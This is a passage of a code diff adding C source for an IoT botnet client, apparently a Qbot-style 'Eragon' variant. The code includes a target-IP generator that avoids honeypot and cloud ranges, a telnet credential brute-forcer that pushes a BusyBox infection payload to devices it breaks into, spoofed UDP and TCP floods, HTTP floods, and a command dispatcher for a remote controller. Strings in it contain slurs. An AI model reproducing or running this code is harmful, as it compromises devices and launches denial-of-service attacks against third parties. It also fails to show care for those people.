ipState[2] < 159) || //Total Server Solutions+ (ipState[0] == 107 && ipState[1] == 152 && ipState[2] >= 96 && ipState[2] < 111) || //Total Server Solutions+ (ipState[0] == 107 && ipState[1] == 181 && ipState[2] >= 160 && ipState[2] < 189) || //Total Server Solutions+ (ipState[0] == 172 && ipState[1] == 98 && ipState[2] >= 64 && ipState[2] < 95) || //Total Server Solutions+ (ipState[0] == 184 && ipState[1] == 170 && ipState[2] >= 240 && ipState[2] < 255) || //Total Server Solutions+ (ipState[0] == 192 && ipState[1] == 111 && ipState[2] >= 128 && ipState[2] < 143) || //Total Server Solutions+ (ipState[0] == 192 && ipState[1] == 252 && ipState[2] >= 208 && ipState[2] < 223) || //Total Server Solutions+ (ipState[0] == 192 && ipState[1] == 40 && ipState[2] >= 56 && ipState[2] < 59) || //Total Server Solutions+ (ipState[0] == 198 && ipState[1] == 8 && ipState[2] >= 81 && ipState[2] < 95) || //Total Server Solutions+ (ipState[0] == 199 && ipState[1] == 116 && ipState[2] >= 112 && ipState[2] < 119) || //Total Server Solutions+ (ipState[0] == 199 && ipState[1] == 229 && ipState[2] >= 248 && ipState[2] < 255) || //Total Server Solutions+ (ipState[0] == 199 && ipState[1] == 36 && ipState[2] >= 220 && ipState[2] < 223) || //Total Server Solutions+ (ipState[0] == 199 && ipState[1] == 58 && ipState[2] >= 184 && ipState[2] < 187) || //Total Server Solutions+ (ipState[0] == 206 && ipState[1] == 220 && ipState[2] >= 172 && ipState[2] < 175) || //Total Server Solutions+ (ipState[0] == 208 && ipState[1] == 78 && ipState[2] >= 40 && ipState[2] < 43) || //Total Server Solutions+ (ipState[0] == 208 && ipState[1] == 93 && ipState[2] >= 192 && ipState[2] < 193) || //Total Server Solutions+ (ipState[0] == 66 && ipState[1] == 71 && ipState[2] >= 240 && ipState[2] < 255) || //Total Server Solutions+ (ipState[0] == 98 && ipState[1] == 142 && ipState[2] >= 208 && ipState[2] < 223) || //Total Server Solutions+ (ipState[0] == 107 && ipState[1] >= 20 && ipState[1] < 24) || //Amazon+ (ipState[0] == 35 && ipState[1] >= 159 && ipState[1] < 183) || //Amazon+ (ipState[0] == 52 && ipState[1] >= 1 && ipState[1] < 95) || //Amazon+ (ipState[0] == 52 && ipState[1] >= 95 && ipState[1] < 255) || //Amazon + Microsoft+ (ipState[0] == 54 && ipState[1] >= 64 && ipState[1] < 95) || //Amazon + Microsoft+ (ipState[0] == 54 && ipState[1] >= 144 && ipState[1] < 255) || //Amazon + Microsoft+ (ipState[0] == 13 && ipState[1] >= 52 && ipState[1] < 60) || //Amazon + Microsoft+ (ipState[0] == 13 && ipState[1] >= 112 && ipState[1] < 115) || //Amazon + Microsoft+ (ipState[0] == 163 && ipState[1] == 172) || //ONLINE SAS+ (ipState[0] == 51 && ipState[1] >= 15 && ipState[1] < 255) || //ONLINE SAS+ (ipState[0] == 79 && ipState[1] == 121 && ipState[2] >= 128 && ipState[2] < 255) || //Some more+ (ipState[0] == 212 && ipState[1] == 47 && ipState[2] >= 224 && ipState[2] < 255) || //Some more+ (ipState[0] == 89 && ipState[1] == 34 && ipState[2] >= 96 && ipState[2] < 97) || //Some more+ (ipState[0] == 219 && ipState[1] >= 216 && ipState[1] < 231) || //Some more+ (ipState[0] == 23 && ipState[1] >= 94 && ipState[1] < 109) || //Some more+ (ipState[0] == 178 && ipState[1] >= 62 && ipState[1] < 63) || //Some more+ (ipState[0] == 106 && ipState[1] >= 182 && ipState[1] < 189) || //Some more+ (ipState[0] == 106 && ipState[1] >= 184) || //Some more+ (ipState[0] == 106 && ipState[1] == 105) || //Honeypot+ (ipState[0] == 34 && ipState[1] >= 245 && ipState[1] < 255) || //Some more+ (ipState[0] == 87 && ipState[1] >= 97 && ipState[1] < 99) || //Some more+ (ipState[0] == 86 && ipState[1] == 208) || //Some more+ (ipState[0] == 86 && ipState[1] == 209) || //Some more+ (ipState[0] == 193 && ipState[1] == 164) || //Some more+ (ipState[0] == 120 && ipState[1] >= 103 && ipState[1] < 108) || //Ministry of Education Computer Science+ (ipState[0] == 188 && ipState[1] == 68) || //Ministry of Education Computer Science+ (ipState[0] == 78 && ipState[1] == 46) || //Ministry of Education Computer Science+ (ipState[0] == 224)) { //Multicast+ ipState[0] = rand() % 223;+ ipState[1] = rand() % 255;+ ipState[2] = rand() % 255;+ ipState[3] = rand() % 255;+ }+ char ip[16] = {0};+ szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);+ return inet_addr(ip);+}+in_addr_t GRIP(in_addr_t netmask) {+ in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;+ return tmp ^ ( rand_cmwc() & ~netmask);+}+int socket_connect(char *host, in_port_t port) {+ struct hostent *hp;+ struct sockaddr_in addr;+ int on = 1, sock;+ if ((hp = gethostbyname(host)) == NULL) return 0;+ bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);+ addr.sin_port = htons(port);+ addr.sin_family = AF_INET;+ sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);+ setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));+ if (sock == -1) return 0;+ if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)+ return 0;+ return sock;+}+void botnetTScan(int wait_usec, int maxfds) {+ int i, res, num_tmps, j;+ char buf[128], cur_dir;+ int max = maxfds;+ fd_set fdset;+ struct timeval tv;+ socklen_t lon;+ int valopt;+ srand(time(NULL) ^ rand_cmwc());+ char line[256];+ char* buffer;+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(23);+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ buffer = malloc(BUFFER_SIZE + 1);+ memset(buffer, 0, BUFFER_SIZE + 1);+ struct telstate_t fds[max];+ memset(fds, 0, max * (sizeof(int) + 1));+ for(i = 0; i < max; i++) {+ memset(&(fds[i]), 0, sizeof(struct telstate_t));+ fds[i].complete = 1;+ fds[i].sockbuf = buffer;+ }+ for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );+ while(1) {+ for(i = 0; i < max; i++) {+ if(fds[i].totalTimeout == 0) {+ fds[i].totalTimeout = time(NULL);+ }+ switch(fds[i].state) {+ case 0: {+ if(fds[i].complete == 1) {+ char *tmp = fds[i].sockbuf;+ memset(&(fds[i]), 0, sizeof(struct telstate_t));+ fds[i].sockbuf = tmp;+ fds[i].ip = GIP();+ }+ else if(fds[i].complete == 0) {+ fds[i].passwordInd++;+ fds[i].usernameInd++;+ if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {+ fds[i].complete = 1;+ continue;+ }+ if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {+ fds[i].complete = 1;+ continue;+ }+ }+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(23);+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ dest_addr.sin_addr.s_addr = fds[i].ip;+ fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);+ if(fds[i].fd == -1) continue;+ fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);+ if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {+ reset_telstate(&fds[i]);+ } else {+ advance_state(&fds[i], 1);+ }+ }+ break;+ case 1: {+ FD_ZERO(&fdset);+ FD_SET(fds[i].fd, &fdset);+ tv.tv_sec = 0;+ tv.tv_usec = wait_usec;+ res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);+ if(res == 1) {+ lon = sizeof(int);+ valopt = 0;+ getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);+ if(valopt) {+ reset_telstate(&fds[i]);+ } else {+ fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));+ advance_state(&fds[i], 2);+ }+ continue;+ }+ else if(res == -1) {+ reset_telstate(&fds[i]);+ continue;+ }+ if(fds[i].totalTimeout + 5 < time(NULL)) {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 2: {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {+ if(contains_fail(fds[i].sockbuf)) {+ advance_state(&fds[i], 0);+ } else {+ advance_state(&fds[i], 3);+ }+ continue;+ }+ if(fds[i].totalTimeout + 7 < time(NULL)) {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 3: {+ if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ advance_state(&fds[i], 4);+ }+ break;+ case 4: {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {+ if(contains_fail(fds[i].sockbuf)) {+ advance_state(&fds[i], 0);+ } else {+ advance_state(&fds[i], 5);+ }+ continue;+ }+ if(fds[i].totalTimeout + 3 < time(NULL)) {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 5: {+ if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ advance_state(&fds[i], 6);+ }+ break;+ case 6: {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {+ fds[i].totalTimeout = time(NULL);+ if(contains_fail(fds[i].sockbuf)) {+ advance_state(&fds[i], 0);+ }+ else if(contains_success(fds[i].sockbuf)) {+ if(fds[i].complete == 2) {+ advance_state(&fds[i], 7);+ } else {+ botnetPrint(KadenCommStock, "Eragon Bruted -> %s [ %s:%s ]", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);+ advance_state(&fds[i], 7);+ }+ } else {+ reset_telstate(&fds[i]);+ }+ continue;+ }+ if(fds[i].totalTimeout + 7 < time(NULL)) {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 7: {+ fds[i].totalTimeout = time(NULL);+ if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) <0);+ if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);+ if(send(fds[i].fd, BusyBoxPayload, strlen(BusyBoxPayload), MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ if(fds[i].totalTimeout + 25 < time(NULL)) {+ if(fds[i].complete !=3){+ }+ reset_telstate(&fds[i]);+ }+ break;+ }+ }+ }+ }+}+void makeRandomStr(unsigned char *buf, int length) {+ int i = 0;+ for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;+}+unsigned short csum (unsigned short *buf, int count) {+ register uint64_t sum = 0;+ while( count > 1 ) { sum += *buf++; count -= 2; }+ if(count > 0) { sum += *(unsigned char *)buf; }+ while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }+ return (uint16_t)(~sum);+}+unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {+ struct tcp_pseudo {+ unsigned long src_addr;+ unsigned long dst_addr;+ unsigned char zero;+ unsigned char proto;+ unsigned short length;+ } pseudohead;+ unsigned short total_len = iph->tot_len;+ pseudohead.src_addr=iph->saddr;+ pseudohead.dst_addr=iph->daddr;+ pseudohead.zero=0;+ pseudohead.proto=IPPROTO_TCP;+ pseudohead.length=htons(sizeof(struct tcphdr));+ int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);+ unsigned short *tcp = malloc(totaltcp_len);+ memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));+ memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));+ unsigned short output = csum(tcp,totaltcp_len);+ free(tcp);+ return output;+}+void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {+ int socket, i, end = time(NULL) + timeEnd, sendIP = 0;+ char request[512], buffer[1];+ for (i = 0; i < power; i++) {+ sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]);+ if (fork()) {+ while (end > time(NULL)) {+ socket = socket_connect(host, port);+ if (socket != 0) {+ write(socket, request, strlen(request));+ read(socket, buffer, 1);+ close(socket);+ }+ }+ exit(0);+ }+ }+}++void SendHTTPHex(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {+ int socket, i, end = time(NULL) + timeEnd, sendIP = 0;+ char request[512], buffer[1], hex_payload[2048];+ sprintf(hex_payload, "\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA");+ for (i = 0; i < power; i++) {+ sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, hex_payload, host, useragents[(rand() % 36)]);+ if (fork()) {+ while (end > time(NULL)) {+ socket = socket_connect(host, port);+ if (socket != 0) {+ write(socket, request, strlen(request));+ read(socket, buffer, 1);+ close(socket);+ }+ }+ exit(0);+ }+ }+}+void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {+ iph->ihl = 5;+ iph->version = 4;+ iph->tos = 0;+ iph->tot_len = sizeof(struct iphdr) + packetSize;+ iph->id = rand_cmwc();+ iph->frag_off = 0;+ iph->ttl = MAXTTL;+ iph->protocol = protocol;+ iph->check = 0;+ iph->saddr = source;+ iph->daddr = dest;+}+int sclose(int fd) {+ if(3 > fd) return 1;+ close(fd);+ return 0;+}+void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime) {+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ if(port == 0) dest_addr.sin_port = rand_cmwc();+ else dest_addr.sin_port = htons(port);+ if(getHost(target, &dest_addr.sin_addr)) return;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ register unsigned int pollRegister;+ pollRegister = pollinterval;+ if(spoofit == 32) {+ int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);+ if(!sockfd) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed opening raw socket.");+ #endif+ return;+ }+ unsigned char *buf = (unsigned char *)malloc(packetsize + 1);+ if(buf == NULL) return;+ memset(buf, 0, packetsize + 1);+ makeRandomStr(buf, packetsize);+ int end = time(NULL) + timeEnd;+ register unsigned int i = 0;+ register unsigned int ii = 0;+ while(1) {+ sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ if(i == pollRegister) {+ if(port == 0) dest_addr.sin_port = rand_cmwc();+ if(time(NULL) > end) break;+ i = 0;+ continue;+ }+ i++;+ if(ii == sleepcheck) {+ usleep(sleeptime*1000);+ ii = 0;+ continue;+ }+ ii++;+ }+ } else {+ int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);+ if(!sockfd) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed opening raw socket.");+ #endif+ return;+ }+ int tmp = 1;+ if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed setting raw headers mode.");+ #endif+ return;+ }+ int counter = 50;+ while(counter--) {+ srand(time(NULL) ^ rand_cmwc());+ init_rand(rand());+ }+ in_addr_t netmask;+ if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );+ else netmask = ( ~((1 << (32 - spoofit)) - 1) );+ unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];+ struct iphdr *iph = (struct iphdr *)packet;+ struct udphdr *udph = (void *)iph + sizeof(struct iphdr);+ makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GRIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);+ udph->len = htons(sizeof(struct udphdr) + packetsize);+ udph->source = rand_cmwc();+ udph->dest = (port == 0 ? rand_cmwc() : htons(port));+ udph->check = 0;+ makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ int end = time(NULL) + timeEnd;+ register unsigned int i = 0;+ register unsigned int ii = 0;+ while(1) {+ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ udph->source = rand_cmwc();+ udph->dest = (port == 0 ? rand_cmwc() : htons(port));+ iph->id = rand_cmwc();+ iph->saddr = htonl( GRIP(netmask) );+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ if(i == pollRegister) {+ if(time(NULL) > end) break;+ i = 0;+ continue;+ }+ i++;+ if(ii == sleepcheck) {+ usleep(sleeptime*1000);+ ii = 0;+ continue;+ }+ ii++;+ }+ }+}+void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) {+ register unsigned int pollRegister;+ pollRegister = pollinterval;+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ if(port == 0) dest_addr.sin_port = rand_cmwc();+ else dest_addr.sin_port = htons(port);+ if(getHost(target, &dest_addr.sin_addr)) return;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);+ if(!sockfd) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed opening raw socket.");+ #endif+ return;+ }+ int tmp = 1;+ if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Failed setting raw headers mode.");+ #endif+ return;+ }+ in_addr_t netmask;+ if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );+ else netmask = ( ~((1 << (32 - spoofit)) - 1) );+ unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];+ struct iphdr *iph = (struct iphdr *)packet;+ struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);+ makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GRIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);+ tcph->source = rand_cmwc();+ tcph->seq = rand_cmwc();+ tcph->ack_seq = 0;+ tcph->doff = 5;+ if(!strcmp(flags, "all")) {+ tcph->syn = 1;+ tcph->rst = 1;+ tcph->fin = 1;+ tcph->ack = 1;+ tcph->psh = 1;+ } else {+ unsigned char *pch = strtok(flags, ",");+ while(pch) {+ if(!strcmp(pch, "syn")) {+ tcph->syn = 1;+ } else if(!strcmp(pch, "rst")) {+ tcph->rst = 1;+ } else if(!strcmp(pch, "fin")) {+ tcph->fin = 1;+ } else if(!strcmp(pch, "ack")) {+ tcph->ack = 1;+ } else if(!strcmp(pch, "psh")) {+ tcph->psh = 1;+ } else {+ #ifdef PRINTS+ botnetPrint(KadenCommStock, "Invalid flag \"%s\"", pch);+ #endif+ }+ pch = strtok(NULL, ",");+ }+ }+ tcph->window = rand_cmwc();+ tcph->check = 0;+ tcph->urg_ptr = 0;+ tcph->dest = (port == 0 ? rand_cmwc() : htons(port));+ tcph->check = tcpcsum(iph, tcph);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ int end = time(NULL) + timeEnd;+ register unsigned int i = 0;+ while(1) {+ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ iph->saddr = htonl( GRIP(netmask) );+ iph->id = rand_cmwc();+ tcph->seq = rand_cmwc();+ tcph->source = rand_cmwc();+ tcph->check = 0;+ tcph->check = tcpcsum(iph, tcph);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ if(i == pollRegister) {+ if(time(NULL) > end) break;+ i = 0;+ continue;+ }+ i++;+ }+}+void sendSTD(unsigned char *ip, int port, int secs) {+int iSTD_Sock;+iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);+time_t start = time(NULL);+struct sockaddr_in sin;+struct hostent *hp;+hp = gethostbyname(ip);+bzero((char*) &sin,sizeof(sin));+bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);+sin.sin_family = hp->h_addrtype;+sin.sin_port = port;+unsigned int a = 0;+while(1){+char *randstrings[] = {"VSzNC0CJti3ouku", "yhJyMAqx7DZa0kg", "1Cp9MEDMN6B5L1K", "niggaNiggerXds", "muchpower", "9XdSldsd", "Xddsslslsls", "eNxERkyrfR", "qHjTXcMbzH", "chickennuggets", "ilovecocaine", "666666", "88888888", "0nnf0l20im", "uq7ajzgm0a", "smac", "ParasJhaIsADumbFag", "stdudpbasedflood", "bitcoin1", "password", "eRaGonBotNet", "suckmyFOUND", "guardiacivil", "2xoJTsbXunuj", "QiMH8CGJyOj9", "abcd1234", "GLEQWXHAJPWM", "ABCDEFGHI", "Eragon", "qbotbotnet", "lizardsquad", "aNrjBnTRi", "1QD8ypG86", "IVkLWYjLe", "kadenthegod", "satoriskidsnet"};+char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];+if (a >= 50)+{+send(iSTD_Sock, STD2_STRING, STD_PIGZ, 0);+connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));+if (time(NULL) >= start + secs)+{+close(iSTD_Sock);+_exit(0);+}+a = 0;+}+a++;+}+}+void processCmd(int argc, unsigned char *argv[]) {+ if(!strcmp(argv[0], "TELNET")) {+ if(!strcmp(argv[1], "OFF")) {+ if(botnetPid == 0) return;+ kill(botnetPid, 9);+ botnetPid = 0;+ }+ if(!strcmp(argv[1], "ON")) {+ if(botnetPid != 0) return;+ uint32_t parent;+ parent = fork();+ int threads = 1000;+ int timeout = 10;+ if (parent > 0) { botnetPid = parent; return;}+ else if(parent == -1) return;+ botnetTScan(timeout, threads);+ _exit(0);+ }+ }+ if(!strcmp(argv[0], "UDP")) {+ if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {+ return;+ }+ unsigned char *ip = argv[1];+ int port = atoi(argv[2]);+ int time = atoi(argv[3]);+ int spoofed = atoi(argv[4]);+ int packetsize = atoi(argv[5]);+ int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);+ int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);+ int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);+ if(strstr(ip, ",") != NULL) {+ unsigned char *hi = strtok(ip, ",");+ while(hi != NULL) {+ if(!listFork()) {+ sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);+ _exit(0);+ }+ hi = strtok(NULL, ",");+ }+ } else {+ if (!listFork()){+ sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);+ _exit(0);+ }+ }+ return;+ }+ if(!strcmp(argv[0], "TCP")) {+ if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {+ return;+ }+ unsigned char *ip = argv[1];+ int port = atoi(argv[2]);+ int time = atoi(argv[3]);+ int spoofed = atoi(argv[4]);+ unsigned char *flags = argv[5];+ int pollinterval = argc == 8 ? atoi(argv[7]) : 10;+ int psize = argc > 6 ? atoi(argv[6]) : 0;+ if(strstr(ip, ",") != NULL) {+ unsigned char *hi = strtok(ip, ",");+ while(hi != NULL) {+ if(!listFork()) {+ sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);+ _exit(0);+ }+ hi = strtok(NULL, ",");+ }+ } else {+ if (!listFork()) {+ sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);+ _exit(0);+ }+ }+ }+ if (!strcmp(argv[0], "HTTP"))+ {+ // !* HTTP METHOD TARGET PORT PATH TIME POWER+ // !* HTTP POST/GET/HEAD hackforums.net 80 / 10 100+ if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;+ if (listFork()) return;+ SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));+ exit(0);+ }+ if (!strcmp(argv[0], "HTTPHEX"))+ {+ if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;+ if (listFork()) return;+ SendHTTPHex(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));+ exit(0);+ }+if(!strcmp(argv[0], "STD")) //STD TARGET PORT TIME+{+if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)+{+return;+}+unsigned char *ip = argv[1];+int port = atoi(argv[2]);+int time = atoi(argv[3]);+if(strstr(ip, ",") != NULL)+{+unsigned char *hi = strtok(ip, ",");+while(hi != NULL)+{+if(!listFork())+{+sendSTD(hi, port, time);+_exit(0);+}+hi = strtok(NULL, ",");+}+} else {+if (listFork()) { return; }+sendSTD(ip, port, time);+_exit(0);+}+}+ if(!strcmp(argv[0], "KILLATTK")) {+ int killed = 0;+ unsigned long i;+ for (i = 0; i < numpids; i++) {+ if (pids[i] != 0 && pids[i] != getpid()) {+ kill(pids[i], 9);+ killed++;+ }+ }+ }+}+int getOurIP() {+ int sock = socket(AF_INET, SOCK_DGRAM, 0);+ if(sock == -1) return 0;+ struct sockaddr_in serv;+ memset(&serv, 0, sizeof(serv));+ serv.sin_family = AF_INET;+ serv.sin_addr.s_addr = inet_addr("8.8.8.8");+ serv.sin_port = htons(53);+ int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));+ if(err == -1) return 0;+ struct sockaddr_in name;+ socklen_t namelen = sizeof(name);+ err = getsockname(sock, (struct sockaddr*) &name, &namelen);+ if(err == -1) return 0;+ ourIP.s_addr = name.sin_addr.s_addr;+ int cmdline = open("/proc/net/route", O_RDONLY);+ char linebuf[4096];+ while(fdgets(linebuf, 4096, cmdline) != NULL) {+ if(strstr(linebuf, "\t00000000\t") != NULL) {+ unsigned char *pos = linebuf;+ while(*pos != '\t') pos++;+ *pos = 0;+ break;+ }+ memset(linebuf, 0, 4096);+ }+ close(cmdline);+ if(*linebuf) {+ int i;+ struct ifreq ifr;+ strcpy(ifr.ifr_name, linebuf);+ ioctl(sock, SIOCGIFHWADDR, &ifr);+ for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];+ }+ close(sock);+}+int getEndianness(void)+{+ union+ {+ uint32_t vlu;+ uint8_t data[sizeof(uint32_t)];+ } nmb;+ nmb.data[0] = 0x00;+ nmb.data[1] = 0x01;+ nmb.data[2] = 0x02;+ nmb.data[3] = 0x03;+ switch (nmb.vlu)+ {+ case UINT32_C(0x00010203):+ return "BIG_ENDIAN";+ case UINT32_C(0x03020100):+ return "LITTLE_ENDIAN";+ case UINT32_C(0x02030001):+ return "BIG_ENDIAN_W";+ case UINT32_C(0x01000302):+ return "LITTLE_ENDIAN_W";+ default:+ return "UNKNOWN";+ }+}+int initConnection() {+ unsigned char server[4096];+ memset(server, 0, 4096);+ if(KadenCommStock) { close(KadenCommStock); KadenCommStock = 0; }+ if(botnetServer + 1 == SERVER_LIST_SIZE) botnetServer = 0;+ else botnetServer++;+ strcpy(server, ServerInfo[botnetServer]);+ int port = Server_Botport;+ 